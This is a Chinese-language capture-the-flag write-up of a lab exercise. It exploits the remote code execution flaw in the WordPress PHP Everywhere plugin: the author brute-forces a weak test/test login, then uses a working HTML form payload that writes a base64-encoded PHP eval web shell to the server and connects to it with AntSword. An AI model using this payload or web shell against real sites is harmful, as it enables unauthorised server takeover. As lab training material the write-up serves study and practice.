简介
远程代码执行漏洞，任何订阅者都可以利用该漏洞发送带有“短代码”参数设置为 PHP Everywhere 的请求，并在站点上执行任意 PHP 代码。P.S. 存在常见用户名低权限用户弱口令
正文
进入首页我们没看到任何有价值的东西，那么就只好去寻找后台登录界面咯。
dirmap扫描后台
既然要找后台界面，那么我们就直接上dirmap吧，不浪费时间了。
python dirmap.py -i http://eci-2zeayjyoklzboi3oj0ea.cloudeci1.ichunqiu.com -lcf
成功找到后台登录界面http://eci-2zeayjyoklzboi3oj0ea.cloudeci1.ichunqiu.com/wp-login.php
进入登录界面，那么就开始尝试弱口令爆破。首先还是admin/admin不行，那就直接上字典爆破，可惜没爆出来，那么没爆出来那就只能尝试其他的账号了，然后测试发现存在test账号，那就继续爆破
弱口令爆破
直接爆破出来test/test
换上poc
靶场告诉我们在后台的任意界面都可以进行php代码的执行，那就直接在首页进行，直接f12修改源码，随便找一个div进去，点击一下鼠标右键，点击编辑html然后吧内容全部删掉。换上这个。
<form action="http://eci-2zeayjyoklzboi3oj0ea.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php" method="post">
<input name="action" value="parse-media-shortcode" />
<textarea name="shortcode">[php_everywhere] <?php file_put_contents("/var/www/html/huahua.php",base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWyJodWFodWEiXSk7Pz4=")); ?>[/php_everywhere]</textarea>
<input type="submit" value="Execute" />
</form>注意
其中在第一行需要换上自己靶场的地址。
在第三行我们需要换上自己定义的界面，我在这里定义的界面是huahua.php
后面base64解码的意思是<?php @eval($_POST["huahua"]);?>直接注入shell。
上传成功
然后就会出现一个这样的框框，点击execute，就会自动跳转到http://eci-2zeayjyoklzboi3oj0ea.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php界面。当我们看到这个ture的时候，就代表我们上传成功了。
上文也说了，我创建的界面是huahua.php我们直接访问
http://eci-2zeayjyoklzboi3oj0ea.cloudeci1.ichunqiu.com/huahua.php
成功浏览到这个界面，
蚁剑连shell
那么就直接打开蚁剑开始连shell。
结束
进入根目录直接找到flag
小结
这关没什么好说的，网上有很多的poc，我们只需要把poc拿来就可以直接注入成功了，当然我们不上传shell也可以上传命令执行，一样可以做出来。只是我觉得上shell方便就没有上命令执行了。
